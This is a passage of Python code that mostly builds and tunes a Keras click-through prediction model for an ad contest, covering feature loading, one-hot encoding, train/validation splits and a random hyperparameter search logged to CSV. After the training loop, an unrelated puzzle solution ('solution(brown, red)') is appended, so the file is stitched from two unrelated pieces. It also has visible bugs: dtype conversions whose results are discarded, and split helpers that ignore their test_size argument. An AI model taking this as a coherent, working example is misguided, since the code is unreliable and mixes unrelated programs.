    for feat in ['aid']:
        trainmerge[feat] = le.fit_transform(trainmerge[feat])
    trainmerge.fillna(0,inplace=True)
    trainmerge = trainmerge.astype('int32')
#     usercount = []
#     for i in tqdm(range(len(multi_features))):
#          usercount.append((train_nn[i].values!=0).sum(axis=1))
#     usercount = np.array(usercount).T
    del adattrs,usersingle
    return trainmerge,train_nn
def load_testdata():

    train = pd.read_csv("data/preliminary_contest_data/train.csv",engine='c')
    test = pd.read_csv("data/preliminary_contest_data/test1.csv",engine='c')
    adattrs = pd.read_csv("data/preliminary_contest_data/adFeature.csv",engine='c')
    usersingle = pd.read_csv("data/preliminary_contest_data/unstack_single_train.csv",engine='c')
    train_nn = []
    for feat in tqdm(multi_features):
        tmp_trnn = pd.read_csv("data/preliminary_contest_data/%s_nn_test.csv" % feat)
        tmp_trnn.fillna(0,inplace=True)
        tmp_trnn = tmp_trnn.values
        tmp_trnnmax = tmp_trnn.max()

        if tmp_trnnmax < 255:
            tmp_trnn.astype('uint8')
        elif tmp_trnnmax < 65535:
            tmp_trnn.astype('uint16')
        elif tmp_trnnmax < 2 ** 32 - 1:
            tmp_trnn.astype('uint32')
        else:
            tmp_trnn.astype('uint64')
        train_nn.append(tmp_trnn)
        del tmp_trnn
        gc.collect()
    # encoding
    from sklearn.preprocessing import LabelEncoder
    le = LabelEncoder()
    for feat in ['advertiserId','campaignId','creativeId','adCategoryId','productId','productType']:
        adattrs[feat] = le.fit_transform(adattrs[feat])
    #merge all data together
    trainmerge = test.merge(adattrs,on='aid',how='left')
    trainmerge = trainmerge.merge(usersingle,on='uid',how='left')
    #trainmerge['label'] = (trainmerge['label']+1)/2
    for feat in ['aid']:
        trainmerge[feat] = le.fit_transform(trainmerge[feat])
    trainmerge.fillna(0,inplace=True)
    trainmerge = trainmerge.astype('int32')
#     usercount = []
#     for i in tqdm(range(len(multi_features))):
#          usercount.append((train_nn[i].values!=0).sum(axis=1))
#     usercount = np.array(usercount).T
    del adattrs,usersingle
    return trainmerge,train_nn

def multifeat_onehot(train_nn,count_threshold = 20,):
    ohe = OneHotEncoder(sparse=False)
    train_nn_onehot = []
    onehot_index = []
    for i in tqdm(range(len(multi_features))):
        train_nnmax = train_nn[i].max()
        if  train_nnmax < count_threshold:
            tmpohe = ohe.fit_transform(train_nn[i].reshape((len(train_nn[i])*train_nn[i].shape[1],1)))[:,1:].reshape((len(train_nn[i]),train_nn[i].shape[1],train_nnmax)).sum(axis=1)
            train_nn_onehot.append(tmpohe.astype(int))
            onehot_index.append(i)
    train_nn_index = list(set(list(range(len(multi_features))))- set(onehot_index))
    return train_nn_onehot, onehot_index

def train_valid_split_multi(train_nn,train_nn_onehot=None,test_size=0.2,random_state=42):
    offttr_nn = []
    offtte_nn = []
    for feat in tqdm(range(len(multi_features))):
        a,b = train_test_split(train_nn[feat],test_size=test_size,random_state=random_state)
        offttr_nn.append(a)
        offtte_nn.append(b)

    offttr_nn_onehot = []
    offtte_nn_onehot = []
    if train_nn_onehot is not None:
        for feat in tqdm(range(len(train_nn_onehot))):
            a,b = train_test_split(train_nn_onehot[feat],test_size=test_size,random_state=random_state)
            offttr_nn_onehot.append(a)
            offtte_nn_onehot.append(b)
    return offttr_nn,offtte_nn,offttr_nn_onehot,offtte_nn_onehot

def train_valid_split_single(trainmerge,single_count_threshold = 200,test_size=0.2,random_state=42):
    suboffttr,subofftte = train_test_split(trainmerge,test_size=test_size,random_state=random_state)
    ohe = OneHotEncoder(sparse=False)
    train_embeddings = []
    valid_embeddings = []
    for feat in ad_embedding_features_single+usr_embedding_features_single:
        if int(trainmerge[feat].max()+1)< single_count_threshold:
            train_embeddings.append(ohe.fit_transform(suboffttr[[feat]].values))
            valid_embeddings.append(ohe.transform(subofftte[[feat]].values))
        else:
            train_embeddings.append(suboffttr[feat].values)
            valid_embeddings.append(subofftte[feat].values)
    ss_context = StandardScaler()
    usr_train_context = ss_context.fit_transform(suboffttr[usr_numeric].values)
    usr_valid_context = ss_context.transform(subofftte[usr_numeric].values)
    ad_train_context = ss_context.fit_transform(suboffttr[ad_numeric].values)
    ad_valid_context = ss_context.transform(subofftte[ad_numeric].values)
    #     usr_train_count = ss_context.fit_transform(suboffttr_count)
    #     usr_valid_count = ss_context.fit_transform(subofftte_count)
    return train_embeddings,valid_embeddings, usr_train_context,usr_valid_context,ad_train_context,ad_valid_context,suboffttr['label'],subofftte['label']
#offttr_count,offtte_count = train_test_split(usercount,test_size=0.2,random_state=443)
def takesample(trainmerge,train_nn ,rate=0.2,random_state=42):
    _,subtrainmerge = train_test_split(trainmerge,test_size=rate,random_state = random_state)
    subtrainmerge = subtrainmerge.reset_index(drop=True)
    subtrain_nn = []
    for feat in tqdm(train_nn):
        _,sub_nn = train_test_split(feat.values,test_size=rate,random_state = random_state)
        subtrain_nn.append(sub_nn)

    return subtrainmerge, subtrain_nn

def taketest(trainmerge,train_nn ,rate=0.2,random_state=42):
    subtrainmerge,testmerge = train_test_split(trainmerge,test_size=rate,random_state = random_state)
    subtrainmerge = subtrainmerge.reset_index(drop=True)
    testmerge = testmerge.reset_index(drop=True)
    subtrain_nn = []
    subtest_nn = []
    for feat in tqdm(train_nn):
        test_nn,sub_nn = train_test_split(feat,test_size=rate,random_state = random_state)
        subtrain_nn.append(sub_nn)
        subtest_nn.append(test_nn)
    return subtrainmerge, subtrain_nn,testmerge, subtest_nn
def downsample(trainmerge,train_nn):
    pos_trainmerge = trainmerge[trainmerge['label']==1]
    pos_count = len(pos_trainmerge)
    print(pos_count)
    neg_trainmerge = trainmerge[trainmerge['label'] == 0].sample(pos_count)
    subtrainmerge = pd.concat((pos_trainmerge,neg_trainmerge)).reset_index(drop=True)
    subtrain_nn = []
    for feat in tqdm(train_nn):
        subtrain_nn.append(pd.concat((feat.iloc[pos_trainmerge.index],feat.iloc[neg_trainmerge.index])).reset_index(drop=True).values)
    return subtrainmerge, subtrain_nn

def batch_train_test_split(tosplit,kfold=None,test_size=0.2,random_state=42):
    trainlist = []
    testlist = []
    for val in tqdm(tosplit):
        train,test = train_test_split(val,test_size=0.2,random_state=random_state,shuffle=True)
        trainlist.append(train)
        testlist.append(test)
    return trainlist,testlist

def batch_s_onehot(toonehot,toonehot_transform=None,count_threshold = None,toonehotindex=None):
    assert (count_threshold is not None or toonehotindex is not None) and not \
    (count_threshold is not None and toonehotindex is not None),"count_threshold and\
    toonehotindex can not all None, can not all not None"
    assert toonehot_transform is None or (toonehot_transform is not None and  len(toonehot_transform) == len(toonehot)),"len(toonehot_transform) should equal to len(toonehot)"
    ohe = OneHotEncoder(sparse=False)

    if count_threshold  is not None:
        for index in tqdm(range(len(toonehot))):
            if toonehot[index].max()<count_threshold:
                toonehot[index] = ohe.fit_transform(toonehot[index][:,np.newaxis])
                if toonehot_transform is not None:
                    toonehot_transform[index] = ohe.transform(toonehot_transform[index][:,np.newaxis] )
    elif toonehotindex is not None:
        for index in toonehotindex:
            toonehot[index] = ohe.fit_transform(toonehot[index][:,np.newaxis])
            if toonehot_transform is not None:
                toonehot_transform[index] = ohe.transform(toonehot_transform[index][:,np.newaxis])

    return toonehot,toonehot_transform

class auc_callback(Callback):
    def __init__(self,x,xn,y):
        self.x = x
        self.xn = xn
        self.y = y
    def on_train_begin(self, logs={}):
        if not ('val_auc_loss' in self.params['metrics']):
            self.params['metrics'].append('val_auc_loss')

    def on_epoch_end(self, epoch, logs={}):

        dataGenerator = DataGenerator()
        flow = dataGenerator.flow(self.x,self.xn, batch_size=16384, shuffle=False)
        y_pred = self.model.predict_generator(flow, flow.__len__(), workers=4)

        roc = roc_auc_score(self.y, y_pred)
        print("roc_auc %.6f\n" % roc)
        logs['val_auc_loss'] = roc

trainmerge,train_nn = loaddata()
gc.collect()

seed = np.random.randint(0,100000)
sser= StandardScaler()
usrcateg_s_train,usrcateg_s_valid = batch_train_test_split([trainmerge[feat].values for feat in
                                                      usr_embedding_features_single],
                                                     test_size=0.2,random_state=seed)

adcateg_s_train,adcateg_s_valid = batch_train_test_split([trainmerge[feat].values for feat in
                                                      ad_embedding_features_single],
                                                     test_size=0.2,random_state=seed)
adcateg_s_train,adcateg_s_valid = batch_s_onehot(adcateg_s_train,adcateg_s_valid,count_threshold=200)

usrnumer_s_train,usrnumer_s_valid = batch_train_test_split([trainmerge[feat].values for feat in usr_numeric ],
                                                     test_size=0.2,random_state=seed)
usrnumer_s_train = np.array(usrnumer_s_train).T
usrnumer_s_valid = np.array(usrnumer_s_valid).T
usrnumer_s_train = sser.fit_transform(usrnumer_s_train)
usrnumer_s_valid = sser.transform(usrnumer_s_valid)
adnumer_s_train,adnumer_s_valid = batch_train_test_split([trainmerge[feat].values for feat in ad_numeric ],
                                                     test_size=0.2,random_state=seed)
adnumer_s_train = np.array(adnumer_s_train).T
adnumer_s_valid = np.array(adnumer_s_valid).T
adnumer_s_train = sser.fit_transform(adnumer_s_train)
adnumer_s_valid = sser.transform(adnumer_s_valid)
usrcateg_m_train,usrcateg_m_valid = batch_train_test_split(train_nn,
                                                     test_size=0.2,random_state=seed)
m_oht_nn, m_oht_nnindex = multifeat_onehot(train_nn,count_threshold = 20,)
usrcateg_m_oh_train,usrcateg_m_oh_valid= batch_train_test_split(m_oht_nn,
                                                     test_size=0.2,random_state=seed)

y_train,y_valid = batch_train_test_split([trainmerge['label'].values],test_size=0.2,random_state=seed)
y_train = y_train[0]
y_valid = y_valid[0]
aid_train,aid_valid = batch_train_test_split([trainmerge['aid'].values],test_size=0.2,random_state=seed)
aid_train = aid_train[0]
aid_valid = aid_valid[0]
del train_nn
gc.collect()

#para = pd.read_csv('./nn_record.csv').sort_values(by='val_auc', ascending=False)
for i in range(100):
    K = np.random.randint(4, 128)  # 64
    lw = 7.5e-4 * (0.1 ** (np.random.rand() * 3 - 1.5))
    lw1 =  1e-3 * (0.1 ** (np.random.rand() * 3 - 1.5))
    lr = 7.5e-4 * (0.1 ** (np.random.rand() * 2 - 1.0))
    lr_decay = 0.65 + np.random.rand() * 0.3
    #activation = np.random.choice(['relu', 'tanh', 'prelu', 'leakyrelu', 'elu'])
    #batchnorm = np.random.choice([True, False])
    activation = 'relu'
    batchnorm = True

    sample_weight_rate = 0.0
#     lr = 0.0014
#     lr_decay = 0.57
#     lw1=0.001
#     lw = 0.001
#     K = 60
    epoch=40
    batch_size=8196

    #modelname =  "%f_%f_%f_%f_%d_%d_%d_%s_%d" % (lr,lr_decay,lw1,lw,K,epoch,batch_size,"withouttwoapp",seed,)
    print('K: %d, lw: %e, lw1: %e, lr: %e, lr_decay: %f, act: %s, batchnorm: %s'%(K, lw,lw1, lr, lr_decay, activation, batchnorm))
    model = md.get_model(K,adcateg_s_train,usrcateg_s_train,usrcateg_m_train,usrnumer_s_train,adnumer_s_train,
                         lw=lw,lr=lr,lw1=lw1,act=activation,batchnorm=batchnorm)

    dataGenerator = DataGenerator()
    train_flow = dataGenerator.flow(adcateg_s_train+usrcateg_s_train+usrcateg_m_train,
                                    [usrnumer_s_train,adnumer_s_train],
                                    y=y_train,
                                    batch_size=batch_size, shuffle=True)
    valid_flow = dataGenerator.flow(adcateg_s_valid+usrcateg_s_valid+usrcateg_m_valid,
                                    [usrnumer_s_valid,adnumer_s_valid],
                                    y=y_valid,
                                    batch_size=batch_size, shuffle=False)
    early_stopping =EarlyStopping(monitor='val_auc_loss', patience=2, min_delta=0.0000,verbose=2,mode='max')

    timenow = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')
    modelseed =  np.random.randint(0,65536)
    model_path = 'model/model_1/bst_model_%s_%d.h5'%(timenow,modelseed)
    model_checkpoint = ModelCheckpoint(model_path, monitor='val_auc_loss', save_best_only=True, save_weights_only=True)
    lr_reducer = LearningRateScheduler(lambda x: lr*(lr_decay**x))
    hist = model.fit_generator(train_flow, train_flow.__len__(),
                               epochs=epoch, workers=4,#class_weight={1:20,0:1},
                               callbacks=[lr_reducer,
                                          #RocAucMetricCallback(predict_batch_size=batch_size),
                                          auc_callback(adcateg_s_valid+usrcateg_s_valid+usrcateg_m_valid,
                                                      [usrnumer_s_valid,adnumer_s_valid],
                                                      y_valid),early_stopping, model_checkpoint,
                                         ],
                               validation_data = valid_flow,
                               validation_steps=valid_flow.__len__())

    model.load_weights(model_path)

    bst_epoch = np.argmax(hist.history['val_auc_loss'])
    trn_loss = hist.history['loss'][bst_epoch]
    val_loss = hist.history['val_loss'][bst_epoch]
    val_auc_loss = hist.history['val_auc_loss'][bst_epoch]

#     valid_flow = dataGenerator.flow(adcateg_s_valid+usrcateg_s_valid+usrcateg_m_valid,
#                                     [usrnumer_s_valid,adnumer_s_valid],
#                                     y=y_valid,
#                                     batch_size=batch_size, shuffle=False)
#    model.save_weights("model/weights_%s.h5" % modelname)
#     valid_pred = model.predict_generator(valid_flow, valid_flow.__len__(), workers=1)
#     roc_auc_score(y_valid,valid_pred[:,0])

    res = '%s,%s,%d,%d,%s,%s,%d,%e,%e,%e,%f,%e,%.5f,%.5f,%.5f,\n'%(timenow, \
            'model_1',modelseed,seed, activation, batchnorm, K, lw, lw1, lr, lr_decay,  bst_epoch+1, trn_loss, \
            val_loss, val_auc_loss)
    f = open('./nn_record.csv', 'a')
    f.write(res)
    f.close()


def solution(brown, red):
    # w * h = brown + red (w >= h >= 3)
    # (w - 2) * (h - 2) = red
    answer = []
    tot = brown + red
    for h in range(3, tot):
        if tot % h == 0:
            w = tot // h
            if (w - 2) * (h - 2) == red:
                return [w, h]

print(solution(10, 2))
print(solution(8, 1))
print(solution(24, 24))